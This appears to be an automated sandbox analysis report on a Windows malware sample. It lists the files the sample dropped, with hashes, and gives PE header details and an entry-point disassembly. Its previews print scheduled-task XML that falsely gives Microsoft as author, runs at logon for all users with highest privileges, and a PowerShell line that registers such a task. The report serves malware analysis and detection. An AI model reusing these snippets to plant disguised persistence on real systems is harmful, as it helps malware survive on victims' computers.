Category:	dropped
Size (bytes):	1893
Entropy (8bit):	5.212287775015203
Encrypted:	false
SSDEEP:	48:c55XzDl4Q2ZbXL6Q0QFdOFQOzN33O4OiDdKrKsTLXbGMv:O5XzDl4Q2ZbGQhFdOFQOzBdKrKsTLXbV
MD5:	E3FB2ECD2AD10C30913339D97E0E9042
SHA1:	A004CE2B3D398312B80E2955E76BDA69EF9B7203
SHA-256:	1BD6DB55FFF870C9DF7A0AAC11B895B50F57774F20A5744E63BBC3BD40D11F28
SHA-512:	9D6F0C1E344F1DC5A0EF4CAAD86281F92A6C108E1085BACD8D6143F9C742198C2F759CA5BDFFAD4D9E40203E6B0460E84896D1C6B8B1759350452E1DE809B716
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2006-11-10T14:29:55.5851926</Date>. <Author>Microsoft Corporation</Author>. <Description>????? AD RMS ?????????????????? Web ?????????,???????????</Description>. <URI>\AS AMD updata</URI>. <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>. </RegistrationInfo>. <Triggers>. <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5ddbaf11">. <Enabled>true</Enabled>. <Delay>PT30S</Delay>. </LogonTrigger>. </Triggers>. <Principals>. <Principal id="AllUsers">. <GroupId>S-1-1-0</GroupId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerm

C:\Users\user\AppData\Local\Temp\PolicyManagement.xml

Download File

Process:	C:\Users\user\Desktop\leBwnyHIgx.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	5.172564010951281
Encrypted:	false
SSDEEP:	48:ck5XzDlybXL6Q0QFdOFQOzN33O4OiDdKrKsTLXbGMv:75XzDlybGQhFdOFQOzBdKrKsTLXbV
MD5:	A16DD00D191DC2FC881634D7DEE2026C
SHA1:	53A373DC6DA7CA186695CCCB9BF3CFC205C45C58
SHA-256:	27CD089F35A3AB92614414C0788900BC64C637B2FC011858932F335C88FEF23D
SHA-512:	F430EB5753C428D3473485217865F9BC8C16804C211A2788E3B90D6F9CE499BF0842EB35A4519AD5223741348E4AB47F80A4F13004D5EE9B2CD0322B75E82264
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2006-11-10T14:29:55.5851926</Date>. <Author>Microsoft Corporation</Author>. <Description>????? AD RMS ?????????????????? Web ?????????,???????????</Description>. <URI>\.Net OneStart</URI>. <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>. </RegistrationInfo>. <Triggers />. <Principals>. <Principal id="AllUsers">. <GroupId>S-1-1-0</GroupId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uhxolt4.3yp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f2kgilz.y5o.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5e40mvrz.aji.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bteyrahd.zpn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3ifemcv.nhm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gguurgl1.zpk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_he3vdlw1.h20.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hte1dhgm.nri.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i5haeaxe.uic.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3ane3o0.tdj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jnfhjw0o.ng2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzybxc20.at2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kefidglv.sql.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ms04uk5e.nkz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pndpkyw4.sex.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5d3nmnn.sh0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t0rv32ff.ud2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yox3h2yd.eq0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\updated.ps1

Download File

Process:	C:\Users\user\Desktop\leBwnyHIgx.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.741657013789009
Encrypted:	false
SSDEEP:	3:41Ai+PBoAwnLFsI2FIERMJyjqLWAfXIhS/ytIEFMEQVGdAn:4yi+5dwnLFsI2F5KJy0fXnMFFQhn
MD5:	AA0E1012D3B7C24FAD1BE4806756C2CF
SHA1:	FE0D130AF9105D9044FF3D657D1ABEAF0B750516
SHA-256:	FC47E1FA89397C3139D9047DC667531A9153A339F8E29AC713E518D51A995897
SHA-512:	15FAE192951747A0C71059F608700F88548F3E60BB5C708B206BF793A7E3D059A278F2058D4AC86B86781B202037401A29602EE4D6C0CBAAFF532CEF311975F4
Malicious:	false
Preview:	$xmlPath = "XML??".$taskName = "????".$xmlContent = Get-Content -Path $xmlPath \| Out-String.Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

C:\Users\user\AppData\Local\updated.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\leBwnyHIgx.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.741657013789009
Encrypted:	false
SSDEEP:	3:41Ai+PBoAwnLFsI2FIERMJyjqLWAfXIhS/ytIEFMEQVGdAn:4yi+5dwnLFsI2F5KJy0fXnMFFQhn
MD5:	AA0E1012D3B7C24FAD1BE4806756C2CF
SHA1:	FE0D130AF9105D9044FF3D657D1ABEAF0B750516
SHA-256:	FC47E1FA89397C3139D9047DC667531A9153A339F8E29AC713E518D51A995897
SHA-512:	15FAE192951747A0C71059F608700F88548F3E60BB5C708B206BF793A7E3D059A278F2058D4AC86B86781B202037401A29602EE4D6C0CBAAFF532CEF311975F4
Malicious:	false
Preview:	$xmlPath = "XML??".$taskName = "????".$xmlContent = Get-Content -Path $xmlPath \| Out-String.Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Download File

Process:	C:\Users\user\Desktop\leBwnyHIgx.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2581432
Entropy (8bit):	6.402040529665259
Encrypted:	false
SSDEEP:	49152:Io/KpmZubPf2S8W2ILeWl+C1p9jWy5Snd0eigXNCM:T/jtYLP1Sy5E0fM
MD5:	2A7776214C4870137FE8AABB231CF52E
SHA1:	3134458AD9FF7A6E76543427794FBCEE1D7EDA07
SHA-256:	51434B554C4E3B123E0A90DB3048EC6D5EDAED4CDB245C8F9E3DBDDB378F2845
SHA-512:	E519D2D4C92E7EF921231B733EB614B800E9DEBA0DCCDC534A668FB81BF2F925F48E87E5983AC6CCBF026E5109C7EF8E6752E16376305091745289938ECF2839
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......^..................%...........%.......%...@.......................... (.......(...@......@....................'.......&..5...0'.U............6'..'................................... '.....................L.&.H.....&......................text.....%.......%................. ..`.itext...&....%..(....%............. ..`.data...dZ....%..\....%.............@....bss.....x...0&..........................idata...5....&..6....&.............@....didata.......&......@&.............@....edata........'......J&.............@..@.tls....D.....'..........................rdata..].... '......L&.............@..@.rsrc...U....0'......N&.............@..@............. (......<'.............@..@........................................................

C:\Users\user\AppData\Roaming\leBwnyHIgx.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\leBwnyHIgx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Downloads\wpsv.5.6.3.exe

Download File

Process:	C:\Users\user\Desktop\leBwnyHIgx.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	modified
Size (bytes):	3027728
Entropy (8bit):	7.856503406318228
Encrypted:	false
SSDEEP:	49152:sejRVM654Suz/Debm7vpElDBc4uN+C+LHseGi1pm2PfLwUA0EUEiXDSWqf16yag5:sejRVMDhe6yH1ugfHseGKtPDw50E1iTe
MD5:	B52BA2B99108C496389AE5BB81FA6537
SHA1:	9073D8C4A1968BE24357862015519F2AFECD833A
SHA-256:	C6AC7D9ADD40B913112B265D4F366D9EF80BBD711049DB085FC750FCAD4E14D8
SHA-512:	6637506EE80D359E729E0011B97E8D827E14356393193247F502B7FCFBBCA249DC045B8ACFE4B31CE462468F421DC5D9A4E31183BEDB66C45A9AA43C01F81397
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: WPS#U529e#U516c#U8f6f#U4ef6 v76.23.66.msi, Detection: malicious, Browse Filename: fNlAH8RgLk.exe, Detection: malicious, Browse Filename: fNlAH8RgLk.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......q...5...5...5...n.......n........a/.<......&....../...n...4...n...4..........n.......n...6...5... ...........5...V...............4...5...7.......4...Rich5...........PE..L.....dc.........................,..ZW...,..`W...@..........................0Z......s....@.................................T-Z......`W.T.............-..H....Z..............................\W......\W.....................$PD.@...................UPX0......,.............................UPX1.........,....................@....rsrc........`W....................@......................................................................................................................................................................................................................................................................................................................................3.08.UPX!....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.402040529665259
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	leBwnyHIgx.exe
File size:	2'581'432 bytes
MD5:	2a7776214c4870137fe8aabb231cf52e
SHA1:	3134458ad9ff7a6e76543427794fbcee1d7eda07
SHA256:	51434b554c4e3b123e0a90db3048ec6d5edaed4cdb245c8f9e3dbddb378f2845
SHA512:	e519d2d4c92e7ef921231b733eb614b800e9deba0dccdc534a668fb81bf2f925f48e87e5983ac6ccbf026e5109c7ef8e6752e16376305091745289938ecf2839
SSDEEP:	49152:Io/KpmZubPf2S8W2ILeWl+C1p9jWy5Snd0eigXNCM:T/jtYLP1Sy5E0fM
TLSH:	56C54A16B288713ED4EB1B37893386605937B661BA73CC5B5BF02A0C8F355902F3E656
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	3a9c4c6761cc9c31

Static PE Info

General

Entrypoint:	0x65c4a4
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5EC61809 [Thu May 21 05:56:25 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	16c8c7a62c852018ed02e453e144c998

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 00651408h
call 00007F18ECF562B2h
mov eax, dword ptr [00662788h]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]
push FFFFFFECh
push eax
call 00007F18ECF5A311h
mov edx, dword ptr [00662788h]
mov edx, dword ptr [edx]
mov edx, dword ptr [edx+00000188h]
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
push edx
call 00007F18ECF5A2FDh
xor eax, eax
push ebp
push 0065C528h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007F18ECF59668h
call 00007F18ED198743h
mov eax, dword ptr [00651030h]
push eax
push 006510C8h
mov eax, dword ptr [00662788h]
mov eax, dword ptr [eax]
call 00007F18ED0EA4E8h
call 00007F18ED198797h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007F18ED1A3AEBh
jmp 00007F18ECF4F028h
call 00007F18ED1984DFh
mov eax, 00000001h
call 00007F18ECF4FB11h
call 00007F18ECF4F46Ch
mov eax, dword ptr [00662788h]
mov eax, dword ptr [eax]
mov edx, 0065C6BCh
call 00007F18ED0E9FBFh
push 00000005h
mov eax, dword ptr [00662788h]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]
push eax
call 00007F18ECF5A026h
mov eax, dword ptr [00662788h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x270000	0x97	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26b000	0x35d8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x273000	0xec55	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x273600	0x27b8	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x272000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
